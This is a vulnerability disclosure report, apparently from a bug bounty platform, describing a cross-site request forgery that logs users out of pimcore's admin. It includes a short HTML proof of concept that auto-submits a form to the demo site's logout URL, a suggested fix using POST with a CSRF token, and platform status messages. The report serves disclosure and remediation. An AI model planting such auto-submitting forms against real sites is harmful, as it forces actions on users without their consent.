Cross-Site Request Forgery (CSRF) in pimcore/pimcore
Valid
Reported on
Dec 7th 2021
Description
An attacker is able to log out a user if a logged-in user visits the attacker's website.
Proof of Concept
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.pimcore.fun/admin/logout">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
This vulnerability is capable of forging users to unintentional logout.
More details
One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.
Note
While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.
We are processing your report and will contact the
pimcore
team within 24 hours.
2 years ago
We have contacted a member of the
pimcore
team and are waiting to hear back
2 years ago
Hi maintainer @dvesh3,
Can you review and validate my other report at https://huntr.dev/bounties/7f3be73c-daf2-493d-a897-51acb5edba5e/?
Thank you!
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